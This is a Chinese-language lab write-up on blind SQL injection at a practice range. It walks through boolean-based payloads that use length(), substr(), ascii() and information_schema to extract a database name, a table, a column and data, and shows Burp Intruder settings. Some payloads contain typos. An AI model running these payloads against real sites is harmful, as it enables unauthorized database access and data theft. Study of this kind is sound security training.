1. 程式人生 > 其它 >SQL注入--盲注

SQL注入--盲注

SQL注入--盲注

使用盲注的原因,是管理員關閉了回顯,無法獲知報錯情況

0x00 盲注

盲注需要配合 一些函式使用

length() 函式返回字串的長度
select length(‘aa’):
select length(‘12344556’)
substr() 擷取字串 (語法SUBSTR(str,pos,len))
substr(擷取什麼字元,從那裡擷取,擷取多長)
substr(“abs”,1,2) //擷取 abs 第一個開始,取2位
ascll碼 數字可以比較 字串不能比較
sleep() 休眠 幾秒

注意:盲注的時候不能使用聯合查詢,聯合查詢只有在頁面有輸出點的時候可以用

靶場練習:封神臺靶場

PASS-10

使用手工測試

經過不斷fuzz =12 有資料 數值 > 12沒資料

length(database())>12

length(database())=12

資料庫名有12位

通過substr()函式,程序測試

and ascllc(substr(database(),1,1))=107

and ascllc(substr(database(),對應的位置數值長度,1))=107

burp設定

  1. 設定 $ $位置進行跑包

  2. 設定 payload payload set 1 選擇 Simple list

payload set 2 選擇 Numbers 選擇 97-190 每次加+1 遞增

設定好了後 直接 Start attack 跑出來的包

ASCII 碼字元ASCII 碼字元ASCII 碼字元ASCII 碼字元
十進位 十六進位 十進位 十六進位 十進位 十六進位 十進位 十六進位
032 20 056 38 8 080 50 P 104 68 h
033 21 ! 057 39 9 081 51 Q 105 69 i
034 22 " 058 3A : 082 52 R 106 6A j
035 23 # 059 3B ; 083 53 S 107 6B k
036 24 $ 060 3C < 084 54 T 108 6C l
037
25 % 061 3D = 085 55 U 109 6D m
038 26 & 062 3E > 086 56 V 110 6E n
039 27 ' 063 3F ? 087 57 W 111 6F o
040 28 ( 064 40 @ 088 58 X 112 70 p
041 29 ) 065 41 A 089 59 Y 113 71 q
042 2A * 066 42 B 090 5A Z 114 72 r
043 2B + 067 43 C 091 5B [ 115 73 s
044 2C , 068 44 D 092 5C \ 116 74 t
045 2D - 069 45 E 093 5D ] 117 75 u
046 2E . 070 46 F 094 5E ^ 118 76 v
047 2F / 071 47 G 095 5F _ 119 77 w
048 30 0 072 48 H 096 60 ` 120 78 x
049 31 1 073 49 I 097 61 a 121 79 y
050 32 2 074 4A J 098 62 b 122 7A z
051 33 3 075 4B K 099 63 c 123 7B {
052 34 4 076 4C L 100 64 d 124 7C |
053 35 5 077 4D M 101 65 e 125 7D }
054 36 6 078 4E N 102 66 f 126 7E ~
055 37 7 079 4F O 103 67 g 127 7F DEL

1 : 107 ascii 對應 k

2 : 97 ascii 對應 a

3 : 110 ascii 對應 n

4 : 119 ascii 對應 w

..

11 : 105 ascii i

12 97 ascii a

kanwolongxia

猜測資料庫表名 SQL語句

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1

》1,

》2

》3,

》 4

進行測試

使用burp

108 l

111 0

102 f

108 l

97 a

103 g

loflag

猜測欄位名

and (ascii(substr((select column_name from information_schema.columns where table_schema=database() table_name="loflag" limit 0,1),1,1)))>1

102 f

108 l

97 a

103 g

108 l

111 0

flaglo

檢視欄位資料

and (ascii(substr((select flaglo from loflag limit 0,1),1,1)))>1

手注確認第一個為 ‘z’

使用burp跑包是出現點問題,沒有回返資料 就這樣了